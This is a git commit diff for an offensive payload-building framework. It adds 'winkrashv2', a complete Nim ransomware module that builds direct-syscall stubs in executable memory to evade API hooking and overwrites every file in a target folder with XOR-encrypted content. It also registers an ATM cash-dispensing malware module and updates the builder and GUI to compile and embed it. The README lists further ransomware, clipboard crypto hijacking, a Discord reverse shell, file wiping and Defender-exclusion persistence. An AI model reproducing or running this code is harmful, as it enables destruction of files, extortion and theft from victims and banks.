Added WINKRASHV2 BANKRUPT

This commit is contained in:
Sarwar 🧃
2025-09-25 21:40:02 +05:00
parent 2f8d7ab93a
commit edf22e6e27
5 changed files with 1405 additions and 17 deletions

1000
MODULE/bankruptsys.nim Normal file

File diff suppressed because it is too large Load Diff

325
MODULE/winkrashv2.nim Normal file
View File

@ -0,0 +1,325 @@
import winim/lean, strformat, os, strutils, winim
const
targetDir* = r"C:\Users\Public\Documents"
key* = "secret"
type
SyscallNtOpenProc = proc (
FileHandle: ptr HANDLE,
DesiredAccess: ACCESS_MASK,
ObjectAttributes: ptr OBJECT_ATTRIBUTES,
IoStatusBlock: ptr IO_STATUS_BLOCK,
ShareAccess: ULONG,
OpenOptions: ULONG
): NTSTATUS {.cdecl.}
SyscallNtQueryDirProc = proc(
FileHandle: HANDLE,
Event: HANDLE,
ApcRoutine: pointer,
ApcContext: pointer,
IoStatusBlock: ptr IO_STATUS_BLOCK,
FileInformation: pointer,
Length: ULONG,
FileInformationClass: ULONG,
ReturnSingleEntry: BOOLEAN,
FileName: ptr UNICODE_STRING,
RestartScan: BOOLEAN
): NTSTATUS {.cdecl.}
SyscallNtReadProc = proc(
FileHandle: HANDLE,
Event: HANDLE,
ApcRoutine: pointer,
ApcContext: pointer,
IoStatusBlock: ptr IO_STATUS_BLOCK,
Buffer: pointer,
Length: uint32,
ByteOffset: ptr int64,
Key: ptr uint32
): NTSTATUS {.cdecl.}
SyscallNtWriteProc = proc(
FileHandle: HANDLE,
Event: HANDLE,
ApcRoutine: pointer,
ApcContext: pointer,
IoStatusBlock: ptr IO_STATUS_BLOCK,
Buffer: pointer,
Length: uint32,
ByteOffset: ptr int64,
Key: ptr uint32
): NTSTATUS {.cdecl.}
SyscallNtQueryInformationFile = proc(
FileHandle: HANDLE,
IoStatusBlock: ptr IO_STATUS_BLOCK,
FileInformation: pointer,
Length: ULONG,
FileInformationClass: int32
): NTSTATUS {.cdecl.}
proc wideLen(w: ptr WCHAR): int =
var p = w
var cnt = 0
while p[] != 0:
inc cnt
p = cast[ptr WCHAR](cast[ByteAddress](p) + sizeof(WCHAR))
return cnt
proc syscallNum(name: cstring): int32 =
let n = LoadLibraryA("ntdll.dll")
let procAddr = GetProcAddress(n, name)
for i in 0..127:
let p = cast[ptr byte](cast[ByteAddress](procAddr) +% i)
if p[] == 0xB8'u8:
let immPtr = cast[ptr int32](cast[ByteAddress](p) +% 1)
return immPtr[]
return -1
proc syscallInstr(funcName: pointer): pointer =
let baseAddr = cast[ByteAddress](funcName)
for i in 0..31:
let p1 = cast[ptr byte](baseAddr +% i)
let p2 = cast[ptr byte](baseAddr +% (i + 1))
if p1[] == 0x0F'u8 and p2[] == 0x05'u8:
return p1
return nil
proc syscallStub(funcName: pointer, syscallNumber: int32): pointer =
if funcName == nil: return nil
let sysInstr = syscallInstr(funcName)
var stub: array[21, byte] = [
0x4C, 0x8B, 0xD1,
0xB8, 0x00, 0x00, 0x00, 0x00,
0x49, 0xBB,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x41, 0xFF, 0xE3
]
let immPtr = cast[ptr int32](addr stub[4])
immPtr[] = syscallNumber
let targetPtr = cast[ptr int64](addr stub[10])
targetPtr[] = cast[int64](cast[ByteAddress](sysInstr))
let size = stub.len
let mem = VirtualAlloc(nil, csize(size), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
copyMem(mem, unsafeAddr stub[0], size)
if mem == nil:
echo "[-] VirtualAlloc failed!"
return nil
return mem
proc syscallGetBufferSize(h: HANDLE): int =
var iosb: IO_STATUS_BLOCK
var info: FILE_STANDARD_INFORMATION
let NtFileSizeNum = syscallNum("NtQueryInformationFile")
let ntFileSizeStub = syscallStub(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationFile"), NtFileSizeNum)
if ntFileSizeStub == nil: return -1
let NtQueryInformationFile = cast[SyscallNtQueryInformationFile](ntFileSizeStub)
defer: discard VirtualFree(ntFileSizeStub, 0, MEM_RELEASE)
let status = NtQueryInformationFile(
h,
addr iosb,
addr info,
sizeof(info).ULONG,
5
)
if status >= 0:
return info.EndOfFile.QuadPart.int
return -1
proc encryptBuffer(input: seq[uint8], xorKey: byte): seq[uint8] {.cdecl.} =
var output = newSeq[uint8](input.len)
for i in 0..<input.len:
output[i] = input[i] xor xorKey
return output
proc syscallMain(ntPath: string) =
var dirHandle: HANDLE
var iosb: IO_STATUS_BLOCK
let folder = newWideCString(ntPath)
var uniStr: UNICODE_STRING
uniStr.Buffer = folder
uniStr.Length = (wideLen(folder) * sizeof(WCHAR)).uint16
uniStr.MaximumLength = uniStr.Length + sizeof(WCHAR).uint16
var oa: OBJECT_ATTRIBUTES
zeroMem(addr oa, sizeof(oa))
oa.Length = sizeof(OBJECT_ATTRIBUTES).ULONG
oa.ObjectName = addr uniStr
oa.Attributes = OBJ_CASE_INSENSITIVE
oa.RootDirectory = 0.HANDLE
let ntOpenNum = syscallNum("NtOpenFile")
let openStub = syscallStub(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtOpenFile"), ntOpenNum)
if openStub == nil:
echo "[-] failed to build NtOpenFile stub"
return
let NtOpenFile = cast[SyscallNtOpenProc](openStub)
defer: discard VirtualFree(openStub, 0, MEM_RELEASE)
zeroMem(addr iosb, sizeof(iosb))
let desiredAccess = ACCESS_MASK(FILE_LIST_DIRECTORY or FILE_READ_ATTRIBUTES or SYNCHRONIZE)
let status = NtOpenFile(
addr dirHandle,
desiredAccess,
addr oa,
addr iosb,
(FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE).ULONG,
ULONG(FILE_DIRECTORY_FILE or FILE_SYNCHRONOUS_IO_NONALERT)
)
if status < 0:
echo fmt("[-] NtOpenFile failed with status: 0x{cast[uint32](status):08X}")
return
defer: discard CloseHandle(dirHandle)
let ntQueryNum = syscallNum("NtQueryDirectoryFile")
let queryStub = syscallStub(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryDirectoryFile"), ntQueryNum)
if queryStub == nil:
echo "[-] failed to build NtQueryDirectoryFile stub"
return
let NtQueryDirectoryFile = cast[SyscallNtQueryDirProc](queryStub)
defer: discard VirtualFree(queryStub, 0, MEM_RELEASE)
var buffer: array[4096, byte]
var restart = true
while true:
zeroMem(addr iosb, sizeof(iosb))
let qstat = NtQueryDirectoryFile(
dirHandle,
cast[HANDLE](nil),
nil,
nil,
addr iosb,
addr buffer[0],
ULONG(buffer.len),
1,
BOOLEAN(false),
nil,
BOOLEAN(restart)
)
if qstat < 0: break
restart = false
var offset: ULONG = 0
while true:
let entry = cast[ptr FILE_DIRECTORY_INFORMATION](addr buffer[offset])
let nameLenInWchars = (entry.FileNameLength div sizeof(WCHAR)).int
let fnamePtr = addr entry.FileName[0]
var fname: string
if nameLenInWchars > 0:
let reqSize = WideCharToMultiByte(CP_UTF8, 0, fnamePtr, nameLenInWchars.int32, nil, 0, nil, nil)
if reqSize > 0:
fname = newString(reqSize)
discard WideCharToMultiByte(CP_UTF8, 0, fnamePtr, nameLenInWchars.int32, addr fname[0], reqSize, nil, nil)
let cleanName = fname.strip(chars = {'\0'})
if cleanName != "." and cleanName != "..":
if (entry.FileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0:
echo "[DIR] ", ntPath, "\\", cleanName
syscallMain(ntPath & "\\" & cleanName)
else:
let fullPath = ntPath & "\\" & cleanName
echo "", fullPath
let filePath = if fullPath.startsWith(r"\??\"): fullPath[4..^1] else: fullPath
let fileHandle = CreateFileA(
filePath,
GENERIC_READ,
FILE_SHARE_READ,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
cast[HANDLE](nil)
)
if fileHandle == INVALID_HANDLE_VALUE:
echo fmt"[-] Failed to open file '{filePath}' with error: {GetLastError()}"
else:
let readNum = syscallNum("NtReadFile")
let readStub = syscallStub(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtReadFile"), readNum)
if readStub == nil:
echo "[-] Failed to build NtReadFile stub"
discard CloseHandle(fileHandle)
else:
let NtReadFile = cast[SyscallNtReadProc](readStub)
defer: discard VirtualFree(readStub, 0, MEM_RELEASE)
var fileSize = syscallGetBufferSize(fileHandle)
if fileSize < 0: fileSize = 4096
var fileContentBuf: seq[byte] = newSeq[byte](fileSize)
zeroMem(addr iosb, sizeof(iosb))
let readStatus = NtReadFile(
fileHandle, cast[HANDLE](nil), cast[pointer](nil), cast[pointer](nil),
addr iosb,
if fileContentBuf.len > 0: addr fileContentBuf[0] else: nil, fileContentBuf.len.uint32,
cast[ptr int64](nil), cast[ptr uint32](nil)
)
if readStatus >= 0:
let bytesRead = iosb.Information
echo fmt("+] Read {bytesRead} bytes.")
discard CloseHandle(fileHandle)
let writeFileHandle = CreateFileA(
filePath.cstring,
GENERIC_WRITE,
0,
nil,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
cast[HANDLE](nil)
)
if writeFileHandle == INVALID_HANDLE_VALUE:
echo fmt"[-] Failed to open file for writing with error: {GetLastError()}"
else:
defer: discard CloseHandle(writeFileHandle)
let writeNum = syscallNum("NtWriteFile")
let writeStub = syscallStub(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteFile"), writeNum)
if writeStub == nil:
echo "[-] Failed to build NtWriteFile stub"
else:
defer: discard VirtualFree(writeStub, 0, MEM_RELEASE)
let NtWriteFile = cast[SyscallNtWriteProc](writeStub)
zeroMem(addr iosb, sizeof(iosb))
let xorBuf = encryptBuffer(fileContentBuf[0 ..< bytesRead.int], key[0].byte)
let writeStatus = NtWriteFile(
writeFileHandle, cast[HANDLE](nil), nil, nil, addr iosb,
if xorBuf.len > 0: addr xorBuf[0] else: nil,
xorBuf.len.uint32, cast[ptr int64](nil), nil
)
if writeStatus >= 0:
echo fmt"[+] Wrote {iosb.Information} bytes back to file."
else:
echo fmt"[-] NtWriteFile failed: 0x{cast[uint32](writeStatus):X}"
else:
echo fmt("[-] NtReadFile failed: 0x{cast[uint32](readStatus):X}")
discard CloseHandle(fileHandle)
if entry.NextEntryOffset == 0: break
offset += entry.NextEntryOffset
proc getNtPath(path: string): string =
var fullPath = expandFilename(path)
if not fullPath.startsWith(r"\??\"):
fullPath = r"\??\" & fullPath
return fullPath
when isMainModule:
let ntPath = getNtPath(targetDir)
syscallMain(ntPath)

View File

@ -1,20 +1,21 @@
## Overview
**RABIDS** (Roving Autonomous Bartmoss Interface Drones) is for building custom malware payloads. It allows you to chain together various modules—such as ransomware, clipboard hijackers, and persistence loaders—into a single, compiled executable for Windows, Linux, or macOS.
**RABIDS** (Roving Autonomous Bartmoss Interface Drones) is a comprehensive framework for building custom offensive security payloads. It provides a powerful yet intuitive graphical interface to chain together various modules—such as ransomware, clipboard hijackers, and persistence loaders—into a single, compiled executable for Windows, Linux, or macOS.
This tool is designed for security researchers, red teamers, and educational purposes to simulate advanced adversaries and study malware behavior in a controlled environment.
## Quick Start
## Getting Started
1. **Install GUI Dependency:**
The user interface requires `PyQt5` and `discord` Install it using pip:
The user interface requires `PyQt5` and `discord`. Install them using pip:
```bash
pip install PyQt5 discord
```
2. **Run the Application:**
```bash
python3 main.py
```
@ -22,23 +23,35 @@ This tool is designed for security researchers, red teamers, and educational pur
## Features
- **Modular Payload Creation:** Chain multiple modules together to create sophisticated, multi-stage payloads.
- **Cross-Platform Compilation:** Build executables for Windows, Linux, and macOS with support for `amd64` and `arm64` architectures.
- **Cross-Platform Compilation:** Build executables for Windows, Linux, and macOS, with support for both `amd64` and `arm64` architectures.
- **Optional Obfuscation:** Leverage a Dockerized Obfuscator-LLVM toolchain to apply advanced obfuscation techniques to Windows payloads.
- **Intuitive Graphical User Interface:** A clean and modern UI makes it easy to select modules, configure options, and build payloads without writing any code.
- **Standalone Tooling:** Includes dedicated tabs for building a file decryptor (`UNKRASH`) and a file restorer (`Garbage Collector`).
- **In-Memory Execution:** On Windows, payloads are wrapped in a Rust loader that executes the core Nim binary directly from memory, helping to evade basic static analysis.
- **Integrated C2:** A dedicated tab provides a Command & Control interface for interacting with the `ghostintheshell` reverse shell module.
## Payload Architecture
RABIDS payloads are constructed with a multi-language approach to maximize flexibility and evasiveness:
- **Core Logic (Nim):** The primary functionality of each module is written in Nim, a high-performance, statically-typed language that compiles to native C, C++, or JavaScript. This allows for fast, efficient, and dependency-free binaries.
- **Windows Wrapper (Rust):** For Windows targets, the compiled Nim payload is embedded within a Rust-based loader. This loader is responsible for executing the Nim binary directly from memory (`memexec`), which can bypass some filesystem-based security controls. The Rust wrapper also handles the embedding of necessary DLLs and other files, ensuring the final executable is self-contained.
## Available Modules
- **`ctrlvamp`**: Hijacks clipboard crypto addresses (BTC, ETH, BEP-20, SOL).
- **`dumpster`**: Collects files from a directory and archives them into a single file.
- **`ghostintheshell`**: Provides a reverse shell over Discord for remote access.
- **`krash`**: Encrypts files in target directories and displays a ransom note.
- **`krash`**: A ransomware module that encrypts files using AES and can report success via Discord.
- **`poof`**: Recursively deletes all files and folders from a target directory.
- **`undeleteme`**: Gains persistence and can add a Windows Defender exclusion.
- **`bankruptsys`**: An ATM malware module designed to dispense cash by interacting with the XFS middleware.
- **`winkrashv2`**: A stealthy ransomware module for Windows that uses direct syscalls for file operations to evade common API hooking.
- **`byovf`**: "Bring Your Own File" - A flexible module that allows you to embed your own Nim code and secondary files (like drivers or DLLs) into the payload.
## Documentation & Setup
All documentation, including installation instructions, setup guides, and detailed module descriptions, can be found within the application itself under the **"DOCUMENTATION" tab**.
All documentation, including detailed installation instructions, setup guides, and in-depth module descriptions, can be found within the application itself under the **"DOCUMENTATION" tab**.
This in-app guide provides everything you need to know to:

View File

@ -432,9 +432,22 @@ def main():
}
}
selected_module_paths = args.merge if args.merge else [args.nim_file]
embedded_files_for_rust = {}
nim_options = list(args.option) if args.option else []
selected_module_paths = []
if args.merge:
# When merging, check for byovf and replace its path with the one from options
nim_file_opt = next((opt for opt in nim_options if opt.startswith('nimFile=')), None)
for module_path in args.merge:
if 'MODULE/byovf.nim' in module_path and nim_file_opt:
nim_file_path_str = nim_file_opt.split('=', 1)[1].strip()
expanded_path_str = os.path.expandvars(nim_file_path_str)
selected_module_paths.append(str(Path(expanded_path_str).expanduser()))
else:
selected_module_paths.append(module_path)
elif args.nim_file:
selected_module_paths = [args.nim_file]
embedded_files_for_rust = {}
for module_path in selected_module_paths:
normalized_path = str(Path(module_path)).replace(os.sep, '/')
@ -461,14 +474,17 @@ def main():
embed_files_opt = next((opt for opt in nim_options if opt.startswith('embedFiles=')), None)
if embed_files_opt:
file_paths_str = embed_files_opt.split('=', 1)[1]
for file_path_str in file_paths_str.split(','):
expanded_path_str = os.path.expandvars(file_path_str.strip())
file_path = Path(expanded_path_str).expanduser()
if file_path.exists():
print(f"[*] Queuing {file_path.name} for Rust wrapper embedding from byovf.")
embedded_files_for_rust[file_path.name] = file_path.read_bytes()
else:
print(f"[Warning] File to embed not found: {file_path}")
if file_paths_str:
for file_path_str_raw in file_paths_str.split(','):
file_path_str = file_path_str_raw.strip()
if file_path_str: # Only process non-empty paths
expanded_path_str = os.path.expandvars(file_path_str)
file_path = Path(expanded_path_str).expanduser()
if file_path.exists() and file_path.is_file():
print(f"[*] Queuing {file_path.name} for Rust wrapper embedding from byovf.")
embedded_files_for_rust[file_path.name] = file_path.read_bytes()
else:
print(f"[Warning] File to embed not found or is a directory: {file_path}")
final_exe_path_str = args.output_exe
if target_os == "windows" and not final_exe_path_str.lower().endswith(".exe"):
@ -479,6 +495,26 @@ def main():
final_exe.parent.mkdir(parents=True, exist_ok=True)
with tempfile.TemporaryDirectory() as tmpdir:
# Special handling for bankruptsys: pre-compile xfs.exe
bankruptsys_path_str = 'MODULE/bankruptsys.nim'
if bankruptsys_path_str in selected_module_paths and not args.nim_only and target_os == 'windows':
print("[*] Pre-compiling xfs.exe for bankruptsys module.")
xfs_exe_path = Path(tmpdir) / "xfs.exe"
compile_nim(
nim_file=bankruptsys_path_str,
output_exe=xfs_exe_path,
os_name=target_os,
arch=target_arch,
hide_console=True,
nim_defines=['xfs']
)
if xfs_exe_path.exists():
print(f"[+] Successfully built {xfs_exe_path.name}, queuing for Rust wrapper embedding.")
embedded_files_for_rust[xfs_exe_path.name] = xfs_exe_path.read_bytes()
else:
print("[Error] Failed to build xfs.exe for bankruptsys. Aborting.")
sys.exit(1)
tmp_dir = Path(tmpdir)
nim_defines = []
if args.merge:

16
main.py
View File

@ -42,6 +42,12 @@ MODULES = {
},
'module/byovf': {
'desc': 'Bring your own Nim file and embed secondary files (e.g., drivers, DLLs).'
},
'module/bankruptsys': {
'desc': 'An ATM malware module to dispense cash via XFS.'
},
'module/winkrashv2': {
'desc': 'A ransomware module for Windows that uses direct syscalls.'
}
}
@ -94,6 +100,14 @@ MODULE_OPTIONS = {
'module/byovf': {
'nimFile': 'path/to/your/module.nim',
'embedFiles': 'path/to/driver.sys,path/to/cert.pem'
},
'module/bankruptsys': {
'discordToken': 'YOUR_DISCORD_BOT_TOKEN',
'creatorId': 'YOUR_DISCORD_USER_ID',
},
'module/winkrashv2': {
'key': 'secret',
'targetDir': '$HOME/Documents',
}
}
@ -1647,7 +1661,7 @@ class RABIDSGUI(QMainWindow):
def run_nim_installer(self):
commands = [
("nimble", "install", "winim", "openssl", "discord", "nimcrypto", "clipb"),
("nimble", "install", "winim", "openssl", "discord", "nimcrypto", "clipb", "dimscord", "httpclient", "threadpool"),
]
self.run_dependency_installer(commands)